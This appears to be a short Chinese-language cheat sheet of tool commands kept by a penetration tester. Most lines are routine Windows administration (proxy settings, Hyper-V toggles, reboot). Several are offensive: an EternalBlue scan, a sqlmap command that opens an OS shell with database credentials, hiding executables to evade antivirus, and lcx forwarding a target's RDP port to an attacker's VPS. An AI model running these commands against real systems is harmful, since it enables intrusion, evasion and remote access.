常用工具命令

常用系统工具命令:

  • nmap扫描永恒之蓝漏洞
nmap -p445 --script smb-vuln-ms17-010 127.0.0.1
  • sqlmap mysql udf 提权
sqlmap -d "mysql://root:123456@192.168.3.184:3306/mysql" --os-shell --random-agent
  • attrib创建隐藏文件(备注: 可以绕过部分杀软)
attrib +s +h +r *.exe
  • .net静默安装
dotNetFx40_Full_x86_x64.exe /q /norestart /ChainingPackage FullX64Bootstrapper
  • Lcx端口转发
本地监听:
lcx.exe -listen 110 34567

目标执行:
lcx.exe -slave vpsip 110 127.0.0.1 3389
  • 扫描web.txt文件的网站标题
whatweb -i web.txt -p Title whatweb
  • windows终端走sock5代理
set http_proxy=socks5://127.0.0.1:7890 && set https_proxy=socks5://127.0.0.1:7890
  • Windows终端乱码
chcp 65001
  • Hyper-V启动和关闭

powershell启用Hyper-V:

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

powershell卸载Hyper-V:

Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All

CMD启用Hyper-V:

DISM /Online /Enable-Feature /All /FeatureName:Microsoft-Hyper-V

CMD卸载Hyper-V:

DISM /Online /Disable-Feature:Microsoft-Hyper-V

bcdedit再次启用 Hyper-V:

bcdedit /set hypervisorlaunchtype on

bcdedit禁用启用 Hyper-V:

bcdedit /set hypervisorlaunchtype off
  • 五秒之内重启机器
shutdown -r -t 5